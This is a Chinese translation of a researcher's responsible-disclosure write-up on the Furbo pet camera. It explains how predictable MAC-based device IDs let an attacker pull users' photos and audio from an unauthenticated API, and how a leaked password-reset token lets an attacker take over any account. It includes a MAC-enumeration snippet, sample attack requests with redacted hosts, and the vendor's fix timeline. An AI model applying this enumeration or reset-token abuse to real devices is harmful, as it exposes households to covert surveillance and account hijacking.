Furbo 寵物智能餵食器可導致用戶被窺視的漏洞分析

TL;DR

缺乏足夠的訪問控制和授權,API中使用可預測的設備ID,以及密碼重置機制的缺陷,都可能使Furbo所有用戶的視頻、家庭私密照片、語音消息被攻擊者訪問,攻擊者甚至可以把食物扔給用戶的寵物。

背景

在即將播出的一集McAfee的Hackable podcast中,我拿到了一台Furbo(一種狗食投擲裝置)用於安全評估。FURBO是一款狗用的擁有相機功能,可以通過你的手機按一下按鈕就能把食物扔出去的機器,是在工作或度假時看狗的好方法。

目前,Furbo是亞馬遜上最暢銷的狗攝像頭,售價在250美元到300美元之間。

Furbo曾多次出現在媒體上,比如「紐約時報」、「技術快報」和最近的「艾倫脫口秀」,他們在節目中向觀眾贈送Furbo作為聖誕禮物。

艾倫脫口秀上的Furbo:youtu.be/nqug-3O8hC4

Furbo的特點

Furbo配備了高清攝像頭,夜視功能,雙向音頻(你可以和你的狗說話,聽到它的吠聲)AI智能狗識別技術,以及一個應用程序,讓你與設備互動。以下是其中一些特點:

Furbo的高級特徵:Smart Dog Alerts

Furbo有一個叫做「Smart Dog Alerts

」的高級功能,每當AI發現你的狗有異常活動或希望得到關注時,它會發送通知到你的電話。這個功能在默認情況下是打開的。

一旦發生了一些活動,Furbo將彈出一個帶有觸發器描述的通知:

這背後發生了什麼

Furbo通過藍牙進行設備的初始設置,並使用實時流媒體協議(RTSP)-RFC2326傳輸視頻流。通過RTSPS將視頻流發送到不同區域的多個IP地址,每一張由SmartDog Alerts功能拍攝的照片都被上傳到Amazon S3中。

Furbo的移動應用程序從他們的雲服務下載你的照片,一旦你瀏覽到主頁,它們就會被填充到Furbo日常的「時間線」中,就是當天發生的所有事件。

遠程攻擊的Furbo

訪問你所有的照片

問題在於移動應用程序執行的API調用之一,即在打開App時接收當天的事件。

事件是由設備拍攝的照片/瞬間,這些照片/瞬間後面會被歸類為「人」、「狗自拍」和「狗活動」。

時間線由使用值為當前日期的LocalTime參數的POST請求發送。然後,該響應將包含3個不同的鍵:PersonDetected DogMoveAbove10secs和Selfie,如果日期有效並且照片是當天拍攝的,這些最終將是客戶的照片。

這個API在請求中需要一個有效的MAC地址,但是沒有會話令牌或任何類似的東西。獲得有效的MAC地址並不困難,因為相機是由台灣的一家名為Chicony Electronics的製造商生產的,而且它們的地址是以B0:c0:90為前綴的。

通過生成MAC地址字典,並且考慮到MAC是一個註冊設備,響應將包括在localtime參數中指定的當天的Amazon S3的圖像鏈接。

以下代碼可用於生成隨機MAC地址:

>>> for _ in range(200): print "%s:%02x:%02x:%02x" %(B0:C0:90, random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
...
B0:C0:90:74:c5:d6
B0:C0:90:02:64:85
B0:C0:90:ab:3e:a4
B0:C0:90:00:1c:5f
B0:C0:90:bf:fc:e3
B0:C0:90:94:d7:8a
B0:C0:90:5c:b3:86
B0:C0:90:b0:57:c7
B0:C0:90:ca:37:b0

攻擊請求示例:

POST /endpoint HTTP/1.1
Cache-Control: no-cache
Content-Type: application/json
User-Agent: FurboApp/3.1.1 (Linux; U; Android 6.0.1; en; samsung/SM-J120W) ROM/0.1.0.0 (samsung; 32011752d4df54a1)
Authorization: Basic
Content-Length: 942
Host: hostname
Connection: close

{"LocalTime":"2018-03-08 00:27:17"}

響應示例:

{
"EventTypes": [
{
"Count": 70,
"Type": "DogMoveAbove10Sec"
},
{
"Count": 5,
"Type": "PersonDetection"
},
{
"Count": 1,
"Type": "Selfie"
}
],
"Events": [
{
"LocalTime": "2018-03-02 23:22:41",
"OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "DogMoveAbove10Sec"
},
{
"LocalTime": "2018-03-02 23:20:19",
"OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "DogMoveAbove10Sec"
},
{
"LocalTime": "2018-03-02 21:34:10",
"OriginImg": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "PersonDetection"
},
]
}

雖然默認情況下啟用了Smart Dog Alerts,但是應用程序讓你通過設置頁面自定義要捕獲的智能警報。

可以使用這個API調用來獲得設備的設置,而不是枚舉設備。其中包括設置,如是否啟用了「Smart Dog Alerts」功能。這將允許更加快速的攻擊,但只針對啟用了易受攻擊組件的設備。

獲取設備設置的API調用示例:

GET /endpoint HTTP/1.1
Host: hostname
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

HTTP/1.1 200 OK
Date: Wed, 07 Mar 2018 17:46:29 GMT
Content-Type: application/json
Content-Length: 76
Connection: close
Server: Apache/2.4.18 (Ubuntu)

{
"DogMoveAbove10Sec": "1",
"PersonDetection": "1",
"Selfie": "1"
}

1表示已啟用,0表示已禁用。

收集要攻擊的設備

使用目前為止我們所知道的,並且使用這個邏輯,可以保證在多線程的情況下幾分鐘內獲得數百個客戶的數據。

最可怕的是

這時候,我開始尋找與誰聯繫來報告這個問題。

獲取你所有的錄音

FURBO的旗艦特色:拋投

Furbo的真正價值在於其投擲的特徵,這其實是相當巧妙的。

在產品的正中間,有一個小洞和一個機制,一旦你使用應用程序的投擲功能它會從容器重新裝載食物然後投擲。我有貓,所以這裡有一個視頻,看它如何與貓互動的:

視頻:lethalbit.com/furbo/ima

但是狗怎麼知道你什麼時候要扔食物呢?問得好!Snack!

Snack

Snack是一種聲音,在你滑動投擲食物時播放。讓我們來記錄一條6秒的消息,或者使用默認的內置聲音。

該特性與視頻缺陷相同,使用API上傳音頻,然後提供直接的S3鏈接。與視頻沒有什麼不同,它只使用基本的auth,這可能導致允許攻擊者訪問用戶的音頻文件。

音頻:lethalbit.com/furbo/ima

我沒有足夠的時間來進一步探討這個功能,因為我披露後供應商快速反應,取消了服務。但是,上傳文件時調用的音頻HTTP PUT請求可能也是易受攻擊的。

從理論上講,我可以把我自己的聲音文件上傳到用戶的Furbo。

全天候跟蹤你

完全接管帳戶

我看了一下如何重新設置帳戶密碼。

在「密碼重置」頁上,當你重置帳戶的密碼時,它會調用發送電子郵件API。然後,響應就是一個令牌。我把它記下來以備後用。

密碼重置請求:

POST /send-email HTTP/1.1
Host: host
Connection: close
Content-Length: 47
Accept: application/json, text/javascript, */*; q=0.01
Origin: hostname
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J120W Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7

{"Email":"someuser@someemail.com","Locale":"en-US"}

密碼重置響應:

HTTP/1.1 200 OK
Date: Sat, 10 Mar 2018 13:33:58 GMT
Content-Type: application/json
Content-Length: 69
Connection: close
Server: Werkzeug/0.12.2 Python/3.5.2

{"Message":"IkhQTFRaU[redacted]VjIEly2XUWdVMAh8"}

不出所料,我收到了一封電子郵件,裡面有一個鏈接,可以重新設置我的密碼。我看到了以下內容:

接著,我點擊了鏈接,突然發現地址欄里有一些看起來很熟悉的東西。

地址欄中的令牌與我之前記下的令牌相同!這意味著我可以重新設置任何Furbo的帳戶密碼,而不需要訪問受害者的電子郵件帳戶!

到目前為止,我們只能訪問靜態照片和音頻記錄。但這允許我以其他人的身份登錄。這使我可以執行以下任何一項操作:

  • 觀看你的生活
  • 聽到你說話
  • 跟你說話
  • 查看你的歷史照片數據
  • 扔食物給你的寵物

FURBO設備接管DEMO:

lethalbit.com/furbo/ima

聯繫Furbo

  • 2018年3月2日-我尋找聯繫Furbo的方法。在多個平台上給他們發簡訊後,他們的客戶支持經理聯繫了我尋求更多細節。隨後,Furbo技術小組著手調查該報告。
  • 2018年3月2日-我被告知已經推送修復,但顯然,它沒有解決我報告的問題。
  • 2018年3月4日-Furbo打電話給我,要求提供漏洞證明。他們寄給我一個他們的設備的MAC地址,讓我告訴他們那裡有哪些照片。結果是:

  • 2018年3月4日-Furbo公司暫停該功能。API調用已經修復。
  • 2018年3月7日-我聯繫了Furbo,讓他們知道Snack呼叫功能中的語音記錄漏洞。
  • 2018年3月7日-Furbo更新說,他們將暫停Snack Call功能,直到新版本發布。
  • 2018年3月9日-發布了一個新的應用程序版本,它修復了視頻和語音記錄API中的漏洞。
  • 2018年3月12日-我聯繫了Furbo,讓他們知道賬戶的接管情況。他們給了我一個電子郵件賬戶,我證明了報告的有效性。以下是一張在Furbo總部辦公室拍攝的照片:![]

  • 2018年3月12日-我們接到電話,證實問題似乎已經解決。此時所有提到的漏洞都得到了解決。
  • 2018年3月15日-我聯繫了Furbo,發現了另一個漏洞
  • 2018年3月20日-Furbo通報說,將在下一次固件升級中推出一個補丁。
  • 2018年3月20日-獎勵:Pet food basket(我謝絕了)。
  • 2018年6月16日-公開發行

注意

Furbo團隊非常迅速地處理報告和修復缺陷。根據我的建議,他們決定取消服務以防止更多的潛在風險,考慮到目前的情況,這是正確的做法。

聯繫方式

如有任何問題,請通過電子郵件 d.farhi#lethalbit.com 或twitter與我聯繫

本文翻譯自 lethalbit.com,原文鏈接。如若轉載請註明出處。

推薦閱讀:

TAG:智能家居 | 智能設備 | 黑客(Hacker) |